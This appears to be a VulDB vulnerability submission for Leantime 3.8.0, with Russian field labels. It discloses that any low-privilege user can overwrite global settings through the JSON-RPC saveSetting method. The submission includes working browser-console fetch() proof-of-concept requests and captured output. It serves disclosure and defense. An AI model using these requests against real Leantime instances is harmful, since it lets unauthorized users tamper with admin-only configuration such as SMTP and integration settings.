| Название | Leantime Project Management System 3.8.0 Improper Authorization |
|---|
| Описание | Leantime exposes service-layer methods through its JSON-RPC endpoint. A request is authenticated (unauthenticated calls return HTTP 401) and must carry the `X-Requested-With: XMLHttpRequest` header, but the individual `@api` methods are responsible for their own role checks and `Setting::saveSetting()` performs none.
As a result, **any authenticated user holding the lowest role (read-only / commenter / editor) can write or overwrite any global setting** in the `zp_settings` store via `leantime.rpc.setting.setting.saveSetting`. Global settings include company configuration, integration/SMTP settings, feature and telemetry toggles, and other instance-wide options that are intended to be admin-only. The sibling read method `setting.getSetting` is reachable the same way, so values can also be read back.
## Reproduction from the browser (no external tools)
Pre-req: any ordinary low-privilege Leantime account (e.g. a read-only user).
1. Log in to Leantime in a browser as the low-privilege user.
2. Open DevTools (**F12**) -> **Console**.
3. Write an arbitrary global setting:
```js
fetch('/api/jsonrpc',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'},
body:JSON.stringify({jsonrpc:'2.0',id:1,method:'leantime.rpc.setting.setting.saveSetting',
params:{key:'companysettings.SECTEST',value:'written-by-low-priv'}})})
.then(r=>r.json()).then(console.log) // -> {result: true}
```
4. Read it back to confirm persistence:
```js
fetch('/api/jsonrpc',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'},
body:JSON.stringify({jsonrpc:'2.0',id:1,method:'leantime.rpc.setting.setting.getSetting',
params:{key:'companysettings.SECTEST'}})})
.then(r=>r.json()).then(console.log) // -> {result: "written-by-low-priv"}
```
## Evidence (captured against leantime/leantime:latest, 3.8.0, role-5 read-only user)
```
saveSetting(companysettings.SECTEST, "written-by-readonly") -> {"result": true}
getSetting(companysettings.SECTEST) -> {"result": "written-by-readonly"}
(value persisted to the zp_settings table)
unauthenticated same call -> 401 {"error":"Unauthorized"}
```
Credit: Jobyer Ahmed (Bytium) |
|---|
| Источник | ⚠️ https://bytium.com/insights/leantime-3-8-0-broken-access-control |
|---|
| Пользователь | suffer (UID 74855) |
|---|
| Представление | 02.06.2026 17:37 (1 месяц назад) |
|---|
| Модерация | 12.07.2026 07:58 (1 month later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 377839 [Leantime до 3.8.0 API Setting::saveSetting эскалация привилегий] |
|---|
| Баллы | 20 |
|---|